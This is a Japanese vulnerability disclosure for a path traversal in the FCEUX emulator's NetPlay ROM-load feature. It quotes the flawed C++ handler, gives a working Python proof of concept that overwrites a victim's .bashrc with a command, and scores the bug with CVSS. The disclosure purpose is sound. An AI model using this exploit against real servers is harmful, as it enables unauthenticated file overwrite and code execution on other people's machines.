
FCEUXは、私たちを子供時代に連れ戻してくれるNESエミュレータです。オンラインで2人のプレイヤーがゲームをプレイできるなど、複数の興味深い機能を提供します。
サーバーとクライアントは互いにROMを渡すことができますが、サーバーはクライアントから送信されたROM名の特殊文字をフィルタリングしません。このパストラバーサル脆弱性により、サーバー上の任意のファイルが上書きされる可能性があります。さらに深刻なことに、ROMのリモートロードは、サーバー設定でログインにパスワードが必要な場合でも、認証を必要としません。
この脆弱性はコミット 798c5a1d9c73b899cdbe3d613c0022588281979f で導入されました - NetPlay向けに、クライアントがROMのロードを要求する機能を追加しました。
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
msf->fileName と fp はどちらも攻撃者によって指定されます。
fceuxはソースコードのコンパイルから入手することもできますし、当方がコンパイルしたバイナリを直接使用することもできます。fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
お楽しみください! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
高 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Yansong Li と Yijie Xun(西北工業大学)
| CVSS3.1 | スコア | 詳細 |
|---|
| 攻撃元 | ネットワーク | ネットワーク経由で攻撃を開始する |
| 攻撃の複雑さ | 低 | 2つのメッセージを送信するだけ |
| 必要な権限 | 不要 | 攻撃パケットの送信に権限は不要 |
| ユーザー操作 | 必要 | ROMをロードするための確認ボタンをクリックする。 |
| スコープ | 変更なし | 該当なし |
| 機密性 | 高 | 任意のファイルの上書き |
| 完全性 | 高 | 任意のファイルの上書き |
| 可用性 | 高 | 任意のファイルの上書き |